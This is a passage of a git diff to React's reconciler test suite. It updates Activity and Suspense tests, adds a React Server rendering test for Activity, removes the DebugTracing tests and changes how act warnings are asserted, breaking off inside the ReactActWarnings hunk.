+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>Open</span>
+        <span>(empty)</span>
+      </>,
+    );
+
+    // Update that suspends inside the currently visible tree
+    await act(() => {
+      startTransition(() => {
+        root.render(
+          <Details open={true}>
+            <AsyncText text="Async" />
+          </Details>,
+        );
+      });
+    });
+    assertLog(['Open', 'Suspend! [Async]', 'Loading...']);
+    // It should suspend with delay to prevent the already-visible Suspense
+    // boundary from switching to a fallback
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>Open</span>
+        <span>(empty)</span>
+      </>,
+    );
+
+    // Update that hides the suspended tree
+    await act(() => {
+      startTransition(() => {
+        root.render(
+          <Details open={false}>
+            <AsyncText text="Async" />
+          </Details>,
+        );
+      });
+    });
+    // Now the visible part of the tree can commit without being blocked
+    // by the suspended content, which is hidden.
+    assertLog(['Closed', 'Suspend! [Async]']);
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>Closed</span>
+        <span hidden={true}>(empty)</span>
+      </>,
+    );
+
+    // Resolve the data and finish rendering
+    await act(async () => {
+      await resolveText('Async');
+    });
+    assertLog(['Async']);
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>Closed</span>
+        <span hidden={true}>Async</span>
+      </>,
+    );
+  });
+
+  test('update that suspends inside hidden tree', async () => {
+    let setText;
+    function Child() {
+      const [text, _setText] = useState('A');
+      setText = _setText;
+      return <AsyncText text={text} />;
+    }
+
+    function App({show}) {
+      return (
+        <Activity mode={show ? 'visible' : 'hidden'}>
+          <span>
+            <Child />
+          </span>
+        </Activity>
+      );
+    }
+
+    const root = ReactNoop.createRoot();
+    resolveText('A');
+    await act(() => {
+      root.render(<App show={false} />);
+    });
+    assertLog(['A']);
+
+    await act(() => {
+      startTransition(() => {
+        setText('B');
+      });
+    });
+  });
+
+  test('updates at multiple priorities that suspend inside hidden tree', async () => {
+    let setText;
+    let setStep;
+    function Child() {
+      const [text, _setText] = useState('A');
+      setText = _setText;
+
+      const [step, _setStep] = useState(0);
+      setStep = _setStep;
+
+      return <AsyncText text={text + step} />;
+    }
+
+    function App({show}) {
+      return (
+        <Activity mode={show ? 'visible' : 'hidden'}>
+          <span>
+            <Child />
+          </span>
+        </Activity>
+      );
+    }
+
+    const root = ReactNoop.createRoot();
+    resolveText('A0');
+    await act(() => {
+      root.render(<App show={false} />);
+    });
+    assertLog(['A0']);
+    expect(root).toMatchRenderedOutput(<span hidden={true}>A0</span>);
+
+    await act(() => {
+      React.startTransition(() => {
+        setStep(1);
+      });
+      ReactNoop.flushSync(() => {
+        setText('B');
+      });
+    });
+    assertLog([
+      // The high priority render suspends again
+      'Suspend! [B0]',
+      // There's still pending work in another lane, so we should attempt
+      // that, too.
+      'Suspend! [B1]',
+    ]);
+    expect(root).toMatchRenderedOutput(<span hidden={true}>A0</span>);
+
+    // Resolve the data and finish rendering
+    await act(() => {
+      resolveText('B1');
+    });
+    assertLog(['B1']);
+    expect(root).toMatchRenderedOutput(<span hidden={true}>B1</span>);
+  });
+
+  test('detect updates to a hidden tree during a concurrent event', async () => {
+    // This is a pretty complex test case. It relates to how we detect if an
+    // update is made to a hidden tree: when scheduling the update, we walk up
+    // the fiber return path to see if any of the parents is a hidden Activity
+    // component. This doesn't work if there's already a render in progress,
+    // because the tree might be about to flip to hidden. To avoid a data race,
+    // queue updates atomically: wait to queue the update until after the
+    // current render has finished.
+
+    let setInner;
+    function Child({outer}) {
+      const [inner, _setInner] = useState(0);
+      setInner = _setInner;
+
+      useEffect(() => {
+        // Inner and outer values are always updated simultaneously, so they
+        // should always be consistent.
+        if (inner !== outer) {
+          Scheduler.log('Tearing! Inner and outer are inconsistent!');
+        } else {
+          Scheduler.log('Inner and outer are consistent');
+        }
+      }, [inner, outer]);
+
+      return <Text text={'Inner: ' + inner} />;
+    }
+
+    let setOuter;
+    function App({show}) {
+      const [outer, _setOuter] = useState(0);
+      setOuter = _setOuter;
+      return (
+        <>
+          <Activity mode={show ? 'visible' : 'hidden'}>
+            <span>
+              <Child outer={outer} />
+            </span>
+          </Activity>
+          <span>
+            <Text text={'Outer: ' + outer} />
+          </span>
+          <Suspense fallback={<Text text="Loading..." />}>
+            <span>
+              <Text text={'Sibling: ' + outer} />
+            </span>
+          </Suspense>
+        </>
+      );
+    }
+
+    // Render a hidden tree
+    const root = ReactNoop.createRoot();
+    resolveText('Async: 0');
+    await act(() => {
+      root.render(<App show={true} />);
+    });
+    assertLog([
+      'Inner: 0',
+      'Outer: 0',
+      'Sibling: 0',
+      'Inner and outer are consistent',
+    ]);
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>Inner: 0</span>
+        <span>Outer: 0</span>
+        <span>Sibling: 0</span>
+      </>,
+    );
+
+    await act(async () => {
+      // Update a value both inside and outside the hidden tree. These values
+      // must always be consistent.
+      startTransition(() => {
+        setOuter(1);
+        setInner(1);
+        // In the same render, also hide the offscreen tree.
+        root.render(<App show={false} />);
+      });
+
+      await waitFor([
+        // The outer update will commit, but the inner update is deferred until
+        // a later render.
+        'Outer: 1',
+      ]);
+
+      // Assert that we haven't committed quite yet
+      expect(root).toMatchRenderedOutput(
+        <>
+          <span>Inner: 0</span>
+          <span>Outer: 0</span>
+          <span>Sibling: 0</span>
+        </>,
+      );
+
+      // Before the tree commits, schedule a concurrent event. The inner update
+      // is to a tree that's just about to be hidden.
+      startTransition(() => {
+        setOuter(2);
+        setInner(2);
+      });
+
+      // Finish rendering and commit the in-progress render.
+      await waitForPaint(['Sibling: 1']);
+      expect(root).toMatchRenderedOutput(
+        <>
+          <span hidden={true}>Inner: 0</span>
+          <span>Outer: 1</span>
+          <span>Sibling: 1</span>
+        </>,
+      );
+
+      // Now reveal the hidden tree at high priority.
+      ReactNoop.flushSync(() => {
+        root.render(<App show={true} />);
+      });
+      assertLog([
+        // There are two pending updates on Inner, but only the first one
+        // is processed, even though they share the same lane. If the second
+        // update were erroneously processed, then Inner would be inconsistent
+        // with Outer.
+        'Inner: 1',
+        'Outer: 1',
+        'Sibling: 1',
+        'Inner and outer are consistent',
+      ]);
+    });
+    assertLog([
+      'Inner: 2',
+      'Outer: 2',
+      'Sibling: 2',
+      'Inner and outer are consistent',
+    ]);
+    expect(root).toMatchRenderedOutput(
+      <>
+        <span>Inner: 2</span>
+        <span>Outer: 2</span>
+        <span>Sibling: 2</span>
+      </>,
+    );
+  });
+});
diff --git a/packages/react-reconciler/src/__tests__/ActivityReactServer-test.js b/packages/react-reconciler/src/__tests__/ActivityReactServer-test.js
new file mode 100644
index 000000000000..93f4e5683b62
--- /dev/null
+++ b/packages/react-reconciler/src/__tests__/ActivityReactServer-test.js
@@ -0,0 +1,65 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ * @jest-environment node
+ */
+
+'use strict';
+
+let act;
+let Activity;
+let React;
+let ReactServer;
+let ReactNoop;
+let ReactNoopFlightClient;
+let ReactNoopFlightServer;
+
+describe('ActivityReactServer', () => {
+  beforeEach(() => {
+    jest.resetModules();
+    jest.mock('react', () => require('react/react.react-server'));
+    ReactServer = require('react');
+    Activity = ReactServer.Activity;
+    ReactNoopFlightServer = require('react-noop-renderer/flight-server');
+
+    jest.resetModules();
+    __unmockReact();
+    React = require('react');
+    ReactNoopFlightClient = require('react-noop-renderer/flight-client');
+    ReactNoop = require('react-noop-renderer');
+    const InternalTestUtils = require('internal-test-utils');
+    act = InternalTestUtils.act;
+  });
+
+  afterEach(() => {
+    jest.restoreAllMocks();
+  });
+
+  it('can be rendered in React Server', async () => {
+    function App() {
+      return ReactServer.createElement(
+        Activity,
+        {mode: 'hidden'},
+        ReactServer.createElement('div', null, 'Hello, Dave!'),
+      );
+    }
+
+    const transport = ReactNoopFlightServer.render(
+      ReactServer.createElement(App, null),
+    );
+
+    await act(async () => {
+      const app = await ReactNoopFlightClient.read(transport);
+
+      ReactNoop.render(app);
+    });
+
+    expect(ReactNoop).toMatchRenderedOutput(
+      <div hidden={true}>Hello, Dave!</div>,
+    );
+  });
+});
diff --git a/packages/react-reconciler/src/__tests__/ActivityStrictMode-test.js b/packages/react-reconciler/src/__tests__/ActivityStrictMode-test.js
index a8b8d286dc6a..fa67df3b8a1e 100644
--- a/packages/react-reconciler/src/__tests__/ActivityStrictMode-test.js
+++ b/packages/react-reconciler/src/__tests__/ActivityStrictMode-test.js
@@ -10,7 +10,7 @@ describe('Activity StrictMode', () => {
     log = [];
 
     React = require('react');
-    Activity = React.unstable_Activity;
+    Activity = React.Activity;
     ReactNoop = require('react-noop-renderer');
     act = require('internal-test-utils').act;
   });
@@ -31,7 +31,7 @@ describe('Activity StrictMode', () => {
     return <span>label</span>;
   }
 
-  // @gate __DEV__ && enableActivity
+  // @gate __DEV__
   it('should trigger strict effects when offscreen is visible', async () => {
     await act(() => {
       ReactNoop.render(
@@ -55,29 +55,7 @@ describe('Activity StrictMode', () => {
     ]);
   });
 
-  // @gate __DEV__ && enableActivity && enableDO_NOT_USE_disableStrictPassiveEffect
-  it('does not trigger strict effects when disableStrictPassiveEffect is presented on StrictMode', async () => {
-    await act(() => {
-      ReactNoop.render(
-        <React.StrictMode DO_NOT_USE_disableStrictPassiveEffect={true}>
-          <Activity>
-            <Component label="A" />
-          </Activity>
-        </React.StrictMode>,
-      );
-    });
-
-    expect(log).toEqual([
-      'A: render',
-      'A: render',
-      'A: useLayoutEffect mount',
-      'A: useEffect mount',
-      'A: useLayoutEffect unmount',
-      'A: useLayoutEffect mount',
-    ]);
-  });
-
-  // @gate __DEV__ && enableActivity && useModernStrictMode
+  // @gate __DEV__
   it('should not trigger strict effects when offscreen is hidden', async () => {
     await act(() => {
       ReactNoop.render(
@@ -176,7 +154,7 @@ describe('Activity StrictMode', () => {
     });
   });
 
-  // @gate __DEV__ && enableActivity
+  // @gate __DEV__
   it('should double invoke effects on unsuspended child', async () => {
     let shouldSuspend = true;
     let resolve;
@@ -240,6 +218,10 @@ describe('Activity StrictMode', () => {
       'Parent mount',
       'Parent unmount',
       'Parent mount',
+      // pre-warming
+      'Child rendered',
+      'Child suspended',
+      // end pre-warming
       '------------------------------',
       'Child rendered',
       'Child rendered',
diff --git a/packages/react-reconciler/src/__tests__/ActivitySuspense-test.js b/packages/react-reconciler/src/__tests__/ActivitySuspense-test.js
index d02ae70e523c..3a783ff32671 100644
--- a/packages/react-reconciler/src/__tests__/ActivitySuspense-test.js
+++ b/packages/react-reconciler/src/__tests__/ActivitySuspense-test.js
@@ -12,6 +12,7 @@ let textCache;
 let waitFor;
 let waitForPaint;
 let assertLog;
+let use;
 
 describe('Activity Suspense', () => {
   beforeEach(() => {
@@ -22,11 +23,12 @@ describe('Activity Suspense', () => {
     Scheduler = require('scheduler');
     act = require('internal-test-utils').act;
     LegacyHidden = React.unstable_LegacyHidden;
-    Activity = React.unstable_Activity;
+    Activity = React.Activity;
     Suspense = React.Suspense;
     useState = React.useState;
     useEffect = React.useEffect;
     startTransition = React.startTransition;
+    use = React.use;
 
     const InternalTestUtils = require('internal-test-utils');
     waitFor = InternalTestUtils.waitFor;
@@ -45,10 +47,10 @@ describe('Activity Suspense', () => {
       };
       textCache.set(text, newRecord);
     } else if (record.status === 'pending') {
-      const thenable = record.value;
+      const resolve = record.resolve;
       record.status = 'resolved';
       record.value = text;
-      thenable.pings.forEach(t => t());
+      resolve();
     }
   }
 
@@ -58,7 +60,7 @@ describe('Activity Suspense', () => {
       switch (record.status) {
         case 'pending':
           Scheduler.log(`Suspend! [${text}]`);
-          throw record.value;
+          return use(record.value);
         case 'rejected':
           throw record.value;
         case 'resolved':
@@ -66,24 +68,19 @@ describe('Activity Suspense', () => {
       }
     } else {
       Scheduler.log(`Suspend! [${text}]`);
-      const thenable = {
-        pings: [],
-        then(resolve) {
-          if (newRecord.status === 'pending') {
-            thenable.pings.push(resolve);
-          } else {
-            Promise.resolve().then(() => resolve(newRecord.value));
-          }
-        },
-      };
+      let resolve;
+      const promise = new Promise(_resolve => {
+        resolve = _resolve;
+      });
 
       const newRecord = {
         status: 'pending',
-        value: thenable,
+        value: promise,
+        resolve,
       };
       textCache.set(text, newRecord);
 
-      throw thenable;
+      return use(promise);
     }
   }
 
@@ -98,7 +95,6 @@ describe('Activity Suspense', () => {
     return text;
   }
 
-  // @gate enableActivity
   it('basic example of suspending inside hidden tree', async () => {
     const root = ReactNoop.createRoot();
 
@@ -174,7 +170,55 @@ describe('Activity Suspense', () => {
     );
   });
 
-  // @gate enableActivity
+  // @gate __DEV__
+  test('Regression: Suspending on hide should not infinite loop.', async () => {
+    // This regression only repros in public act.
+    global.IS_REACT_ACT_ENVIRONMENT = true;
+    const root = ReactNoop.createRoot();
+
+    let setMode;
+    function Container({text}) {
+      const [mode, _setMode] = React.useState('visible');
+      setMode = _setMode;
+      useEffect(() => {
+        return () => {
+          Scheduler.log(`Clear [${text}]`);
+          textCache.delete(text);
+        };
+      });
+      return (
+        //$FlowFixMe
+        <Suspense fallback="Loading">
+          <Activity mode={mode}>
+            <AsyncText text={text} />
+          </Activity>
+        </Suspense>
+      );
+    }
+
+    await React.act(() => {
+      root.render(<Container text="hello" />);
+    });
+    assertLog([
+      'Suspend! [hello]',
+      // pre-warming
+      'Suspend! [hello]',
+    ]);
+    expect(root).toMatchRenderedOutput('Loading');
+
+    await React.act(async () => {
+      await resolveText('hello');
+    });
+    assertLog(['hello']);
+    expect(root).toMatchRenderedOutput('hello');
+
+    await React.act(() => {
+      setMode('hidden');
+    });
+    assertLog(['Clear [hello]', 'Suspend! [hello]']);
+    expect(root).toMatchRenderedOutput('');
+  });
+
   test("suspending inside currently hidden tree that's switching to visible", async () => {
     const root = ReactNoop.createRoot();
 
@@ -215,7 +259,12 @@ describe('Activity Suspense', () => {
         );
       });
     });
-    assertLog(['Open', 'Suspend! [Async]', 'Loading...']);
+    assertLog([
+      'Open',
+      'Suspend! [Async]',
+      // pre-warming
+      'Loading...',
+    ]);
     // It should suspend with delay to prevent the already-visible Suspense
     // boundary from switching to a fallback
     expect(root).toMatchRenderedOutput(<span>Closed</span>);
@@ -224,7 +273,12 @@ describe('Activity Suspense', () => {
     await act(async () => {
       await resolveText('Async');
     });
-    assertLog(['Open', 'Async']);
+    assertLog([
+      // pre-warming
+      'Open',
+      // end pre-warming
+      'Async',
+    ]);
     expect(root).toMatchRenderedOutput(
       <>
         <span>Open</span>
@@ -233,7 +287,6 @@ describe('Activity Suspense', () => {
     );
   });
 
-  // @gate enableActivity
   test("suspending inside currently visible tree that's switching to hidden", async () => {
     const root = ReactNoop.createRoot();
 
@@ -276,7 +329,12 @@ describe('Activity Suspense', () => {
         );
       });
     });
-    assertLog(['Open', 'Suspend! [Async]', 'Loading...']);
+    assertLog([
+      'Open',
+      'Suspend! [Async]',
+      // pre-warming
+      'Loading...',
+    ]);
     // It should suspend with delay to prevent the already-visible Suspense
     // boundary from switching to a fallback
     expect(root).toMatchRenderedOutput(
@@ -319,7 +377,6 @@ describe('Activity Suspense', () => {
     );
   });
 
-  // @gate enableActivity
   test('update that suspends inside hidden tree', async () => {
     let setText;
     function Child() {
@@ -352,7 +409,6 @@ describe('Activity Suspense', () => {
     });
   });
 
-  // @gate enableActivity
   test('updates at multiple priorities that suspend inside hidden tree', async () => {
     let setText;
     let setStep;
@@ -409,7 +465,6 @@ describe('Activity Suspense', () => {
     expect(root).toMatchRenderedOutput(<span hidden={true}>B1</span>);
   });
 
-  // @gate enableActivity
   test('detect updates to a hidden tree during a concurrent event', async () => {
     // This is a pretty complex test case. It relates to how we detect if an
     // update is made to a hidden tree: when scheduling the update, we walk up
diff --git a/packages/react-reconciler/src/__tests__/DebugTracing-test.internal.js b/packages/react-reconciler/src/__tests__/DebugTracing-test.internal.js
deleted file mode 100644
index 5f8867742de9..000000000000
--- a/packages/react-reconciler/src/__tests__/DebugTracing-test.internal.js
+++ /dev/null
@@ -1,426 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @emails react-core
- */
-
-'use strict';
-
-describe('DebugTracing', () => {
-  let React;
-  let ReactNoop;
-  let waitForPaint;
-  let waitForAll;
-  let act;
-
-  let logs;
-
-  const SYNC_LANE_STRING = '0b0000000000000000000000000000010';
-  const DEFAULT_LANE_STRING = '0b0000000000000000000000000100000';
-  const RETRY_LANE_STRING = '0b0000000010000000000000000000000';
-
-  global.IS_REACT_ACT_ENVIRONMENT = true;
-
-  beforeEach(() => {
-    jest.resetModules();
-
-    React = require('react');
-    ReactNoop = require('react-noop-renderer');
-    const InternalTestUtils = require('internal-test-utils');
-    waitForPaint = InternalTestUtils.waitForPaint;
-    waitForAll = InternalTestUtils.waitForAll;
-    act = InternalTestUtils.act;
-
-    logs = [];
-
-    const groups = [];
-
-    spyOnDevAndProd(console, 'log').mockImplementation(message => {
-      logs.push(`log: ${message.replace(/%c/g, '')}`);
-    });
-    spyOnDevAndProd(console, 'group').mockImplementation(message => {
-      logs.push(`group: ${message.replace(/%c/g, '')}`);
-      groups.push(message);
-    });
-    spyOnDevAndProd(console, 'groupEnd').mockImplementation(() => {
-      const message = groups.pop();
-      logs.push(`groupEnd: ${message.replace(/%c/g, '')}`);
-    });
-  });
-
-  // @gate enableDebugTracing
-  it('should not log anything for sync render without suspends or state updates', async () => {
-    await act(() => {
-      ReactNoop.render(
-        <React.unstable_DebugTracingMode>
-          <div />
-        </React.unstable_DebugTracingMode>,
-      );
-    });
-
-    expect(logs).toEqual([]);
-  });
-
-  // @gate experimental && enableDebugTracing
-  it('should not log anything for concurrent render without suspends or state updates', async () => {
-    await act(() =>
-      ReactNoop.render(
-        <React.unstable_DebugTracingMode>
-          <div />
-        </React.unstable_DebugTracingMode>,
-      ),
-    );
-    expect(logs).toEqual([]);
-  });
-
-  // @gate experimental && build === 'development' && enableDebugTracing && !disableLegacyMode
-  it('should log sync render with suspense, legacy', async () => {
-    let resolveFakeSuspensePromise;
-    let didResolve = false;
-    const fakeSuspensePromise = new Promise(resolve => {
-      resolveFakeSuspensePromise = () => {
-        didResolve = true;
-        resolve();
-      };
-    });
-
-    function Example() {
-      if (!didResolve) {
-        throw fakeSuspensePromise;
-      }
-      return null;
-    }
-
-    ReactNoop.renderLegacySyncRoot(
-      <React.unstable_DebugTracingMode>
-        <React.Suspense fallback={null}>
-          <Example />
-        </React.Suspense>
-      </React.unstable_DebugTracingMode>,
-    );
-
-    expect(logs).toEqual([
-      `group: ⚛️ render (${SYNC_LANE_STRING})`,
-      'log: ⚛️ Example suspended',
-      `groupEnd: ⚛️ render (${SYNC_LANE_STRING})`,
-    ]);
-
-    logs.splice(0);
-
-    resolveFakeSuspensePromise();
-    await waitForAll([]);
-
-    expect(logs).toEqual(['log: ⚛️ Example resolved']);
-  });
-
-  // @gate experimental && build === 'development' && enableDebugTracing && enableCPUSuspense && !disableLegacyMode
-  it('should log sync render with CPU suspense, legacy', async () => {
-    function Example() {
-      console.log('<Example/>');
-      return null;
-    }
-
-    function Wrapper({children}) {
-      console.log('<Wrapper/>');
-      return children;
-    }
-
-    ReactNoop.renderLegacySyncRoot(
-      <React.unstable_DebugTracingMode>
-        <Wrapper>
-          <React.Suspense fallback={null} unstable_expectedLoadTime={1}>
-            <Example />
-          </React.Suspense>
-        </Wrapper>
-      </React.unstable_DebugTracingMode>,
-    );
-
-    expect(logs).toEqual([
-      `group: ⚛️ render (${SYNC_LANE_STRING})`,
-      'log: <Wrapper/>',
-      `groupEnd: ⚛️ render (${SYNC_LANE_STRING})`,
-    ]);
-
-    logs.splice(0);
-
-    await waitForPaint([]);
-
-    expect(logs).toEqual([
-      `group: ⚛️ render (${RETRY_LANE_STRING})`,
-      'log: <Example/>',
-      `groupEnd: ⚛️ render (${RETRY_LANE_STRING})`,
-    ]);
-  });
-
-  // @gate experimental && build === 'development' && enableDebugTracing
-  it('should log concurrent render with suspense', async () => {
-    let isResolved = false;
-    let resolveFakeSuspensePromise;
-    const fakeSuspensePromise = new Promise(resolve => {
-      resolveFakeSuspensePromise = () => {
-        resolve();
-        isResolved = true;
-      };
-    });
-
-    function Example() {
-      if (!isResolved) {
-        throw fakeSuspensePromise;
-      }
-      return null;
-    }
-
-    await act(() =>
-      ReactNoop.render(
-        <React.unstable_DebugTracingMode>
-          <React.Suspense fallback={null}>
-            <Example />
-          </React.Suspense>
-        </React.unstable_DebugTracingMode>,
-      ),
-    );
-
-    expect(logs).toEqual([
-      `group: ⚛️ render (${DEFAULT_LANE_STRING})`,
-      'log: ⚛️ Example suspended',
-      `groupEnd: ⚛️ render (${DEFAULT_LANE_STRING})`,
-    ]);
-
-    logs.splice(0);
-
-    await act(async () => await resolveFakeSuspensePromise());
-    expect(logs).toEqual(['log: ⚛️ Example resolved']);
-  });
-
-  // @gate experimental && build === 'development' && enableDebugTracing && enableCPUSuspense
-  it('should log concurrent render with CPU suspense', async () => {
-    function Example() {
-      console.log('<Example/>');
-      return null;
-    }
-
-    function Wrapper({children}) {
-      console.log('<Wrapper/>');
-      return children;
-    }
-
-    await act(() =>
-      ReactNoop.render(
-        <React.unstable_DebugTracingMode>
-          <Wrapper>
-            <React.Suspense fallback={null} unstable_expectedLoadTime={1}>
-              <Example />
-            </React.Suspense>
-          </Wrapper>
-        </React.unstable_DebugTracingMode>,
-      ),
-    );
-
-    expect(logs).toEqual([
-      `group: ⚛️ render (${DEFAULT_LANE_STRING})`,
-      'log: <Wrapper/>',
-      `groupEnd: ⚛️ render (${DEFAULT_LANE_STRING})`,
-      `group: ⚛️ render (${RETRY_LANE_STRING})`,
-      'log: <Example/>',
-      `groupEnd: ⚛️ render (${RETRY_LANE_STRING})`,
-    ]);
-  });
-
-  // @gate experimental && build === 'development' && enableDebugTracing
-  it('should log cascading class component updates', async () => {
-    class Example extends React.Component {
-      state = {didMount: false};
-      componentDidMount() {
-        this.setState({didMount: true});
-      }
-      render() {
-        return null;
-      }
-    }
-
-    await act(() =>
-      ReactNoop.render(
-        <React.unstable_DebugTracingMode>
-          <Example />
-        </React.unstable_DebugTracingMode>,
-      ),
-    );
-
-    expect(logs).toEqual([
-      `group: ⚛️ commit (${DEFAULT_LANE_STRING})`,
-      `group: ⚛️ layout effects (${DEFAULT_LANE_STRING})`,
-      `log: ⚛️ Example updated state (${SYNC_LANE_STRING})`,
-      `groupEnd: ⚛️ layout effects (${DEFAULT_LANE_STRING})`,
-      `groupEnd: ⚛️ commit (${DEFAULT_LANE_STRING})`,
-    ]);
-  });
-
-  // @gate experimental && build === 'development' && enableDebugTracing
-  it('should log render phase state updates for class component', async () => {
-    class Example extends React.Component {
-      state = {didRender: false};
-      render() {
-        if (this.state.didRender === false) {
-          this.setState({didRender: true});
-        }
-        return null;
-      }
-    }
-
-    await expect(async () => {
-      await act(() => {
-        ReactNoop.render(
-          <React.unstable_DebugTracingMode>
-            <Example />
-          </React.unstable_DebugTracingMode>,
-        );
-      });
-    }).toErrorDev(
-      'Cannot update during an existing state transition (such as within `render`). Render methods should be a pure function of props and state.',
-    );
-
-    expect(logs).toEqual([
-      `group: ⚛️ render (${DEFAULT_LANE_STRING})`,
-      `log: ⚛️ Example updated state (${DEFAULT_LANE_STRING})`,
-      `groupEnd: ⚛️ render (${DEFAULT_LANE_STRING})`,
-    ]);
-  });
-
-  // @gate experimental && build === 'development' && enableDebugTracing
-  it('should log cascading layout updates', async () => {
-    function Example() {
-      const [didMount, setDidMount] = React.useState(false);
-      React.useLayoutEffect(() => {
-        setDidMount(true);
-      }, []);
-      return didMount;
-    }
-
-    await act(() =>
-      ReactNoop.render(
-        <React.unstable_DebugTracingMode>
-          <Example />
-        </React.unstable_DebugTracingMode>,
-      ),
-    );
-
-    expect(logs).toEqual([
-      `group: ⚛️ commit (${DEFAULT_LANE_STRING})`,
-      `group: ⚛️ layout effects (${DEFAULT_LANE_STRING})`,
-      `log: ⚛️ Example updated state (${SYNC_LANE_STRING})`,
-      `groupEnd: ⚛️ layout effects (${DEFAULT_LANE_STRING})`,
-      `groupEnd: ⚛️ commit (${DEFAULT_LANE_STRING})`,
-    ]);
-  });
-
-  // @gate experimental && build === 'development' && enableDebugTracing
-  it('should log cascading passive updates', async () => {
-    function Example() {
-      const [didMount, setDidMount] = React.useState(false);
-      React.useEffect(() => {
-        setDidMount(true);
-      }, []);
-      return didMount;
-    }
-
-    await act(() => {
-      ReactNoop.render(
-        <React.unstable_DebugTracingMode>
-          <Example />
-        </React.unstable_DebugTracingMode>,
-      );
-    });
-    expect(logs).toEqual([
-      `group: ⚛️ passive effects (${DEFAULT_LANE_STRING})`,
-      `log: ⚛️ Example updated state (${DEFAULT_LANE_STRING})`,
-      `groupEnd: ⚛️ passive effects (${DEFAULT_LANE_STRING})`,
-    ]);
-  });
-
-  // @gate experimental && build === 'development' && enableDebugTracing
-  it('should log render phase updates', async () => {
-    function Example() {
-      const [didRender, setDidRender] = React.useState(false);
-      if (!didRender) {
-        setDidRender(true);
-      }
-      return didRender;
-    }
-
-    await act(() => {
-      ReactNoop.render(
-        <React.unstable_DebugTracingMode>
-          <Example />
-        </React.unstable_DebugTracingMode>,
-      );
-    });
-
-    expect(logs).toEqual([
-      `group: ⚛️ render (${DEFAULT_LANE_STRING})`,
-      `log: ⚛️ Example updated state (${DEFAULT_LANE_STRING})`,
-      `groupEnd: ⚛️ render (${DEFAULT_LANE_STRING})`,
-    ]);
-  });
-
-  // @gate experimental && build === 'development' && enableDebugTracing
-  it('should log when user code logs', async () => {
-    function Example() {
-      console.log('Hello from user code');
-      return null;
-    }
-
-    await act(() =>
-      ReactNoop.render(
-        <React.unstable_DebugTracingMode>
-          <Example />
-        </React.unstable_DebugTracingMode>,
-      ),
-    );
-
-    expect(logs).toEqual([
-      `group: ⚛️ render (${DEFAULT_LANE_STRING})`,
-      'log: Hello from user code',
-      `groupEnd: ⚛️ render (${DEFAULT_LANE_STRING})`,
-    ]);
-  });
-
-  // @gate experimental && enableDebugTracing
-  it('should not log anything outside of a unstable_DebugTracingMode subtree', async () => {
-    function ExampleThatCascades() {
-      const [didMount, setDidMount] = React.useState(false);
-      React.useLayoutEffect(() => {
-        setDidMount(true);
-      }, []);
-      return didMount;
-    }
-
-    const fakeSuspensePromise = {then() {}};
-
-    function ExampleThatSuspends() {
-      throw fakeSuspensePromise;
-    }
-
-    function Example() {
-      return null;
-    }
-
-    await act(() =>
-      ReactNoop.render(
-        <React.Fragment>
-          <ExampleThatCascades />
-          <React.Suspense fallback={null}>
-            <ExampleThatSuspends />
-          </React.Suspense>
-          <React.unstable_DebugTracingMode>
-            <Example />
-          </React.unstable_DebugTracingMode>
-        </React.Fragment>,
-      ),
-    );
-
-    expect(logs).toEqual([]);
-  });
-});
diff --git a/packages/react-reconciler/src/__tests__/ErrorBoundaryReconciliation-test.internal.js b/packages/react-reconciler/src/__tests__/ErrorBoundaryReconciliation-test.internal.js
index b577bd1bc074..869cc308a985 100644
--- a/packages/react-reconciler/src/__tests__/ErrorBoundaryReconciliation-test.internal.js
+++ b/packages/react-reconciler/src/__tests__/ErrorBoundaryReconciliation-test.internal.js
@@ -58,15 +58,14 @@ describe('ErrorBoundaryReconciliation', () => {
       );
     });
     expect(renderer).toMatchRenderedOutput(<span prop="BrokenRender" />);
-    await expect(async () => {
-      await act(() => {
-        renderer.update(
-          <ErrorBoundary fallbackTagName={fallbackTagName}>
-            <BrokenRender fail={true} />
-          </ErrorBoundary>,
-        );
-      });
-    }).toErrorDev(['invalid', 'invalid']);
+    await act(() => {
+      renderer.update(
+        <ErrorBoundary fallbackTagName={fallbackTagName}>
+          <BrokenRender fail={true} />
+        </ErrorBoundary>,
+      );
+    });
+
     const Fallback = fallbackTagName;
     expect(renderer).toMatchRenderedOutput(<Fallback prop="ErrorBoundary" />);
   }
diff --git a/packages/react-reconciler/src/__tests__/ReactActWarnings-test.js b/packages/react-reconciler/src/__tests__/ReactActWarnings-test.js
index 03e04e8b1dc4..e5fc65416a67 100644
--- a/packages/react-reconciler/src/__tests__/ReactActWarnings-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactActWarnings-test.js
@@ -18,6 +18,7 @@ let Suspense;
 let startTransition;
 let getCacheForType;
 let caches;
+let assertConsoleErrorDev;
 
 // These tests are mostly concerned with concurrent roots. The legacy root
 // behavior is covered by other older test suites and is unchanged from
@@ -38,6 +39,7 @@ describe('act warnings', () => {
     const InternalTestUtils = require('internal-test-utils');
     waitForAll = InternalTestUtils.waitForAll;
     assertLog = InternalTestUtils.assertLog;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
   });
 
   function createTextCache() {
@@ -171,9 +173,21 @@ describe('act warnings', () => {
 
     // Flag is true. Warn.
     await withActEnvironment(true, async () => {
-      expect(() => setState(2)).toErrorDev(
-        'An update to App inside a test was not wrapped in act',
-      );
+      setState(2);
+      assertConsoleErrorDev([
+        'An update to App inside a test was not wrapped in act(...).\n' +
+          '\n' +
+          'When testing, code that causes React state updates should be wrapped into act(...):\n' +
+          '\n' +
+          'act(() => {\n' +
+          '  /* fire events that update state */\n' +
+          '});\n' +
+          '/* assert on the output */\n' +
+          '\n' +
+          "This ensures that you're testing the behavior the user would see in the browser. " +
+          'Learn more at https://react.dev/link/wrap-tests-with-act\n' +
+          '    in App (at **)',
+      ]);
       await waitForAll([2]);
       expect(root).toMatchRenderedOutput('2');
     });
@@ -202,14 +216,12 @@ describe('act warnings', () => {
 
     // Default behavior. Flag is undefined. Warn.
     expect(global.IS_REACT_ACT_ENVIRONMENT).toBe(undefined);
-    expect(() => {
-      act(() => {
-        setState(1);
-      });
-    }).toErrorDev(
+    act(() => {
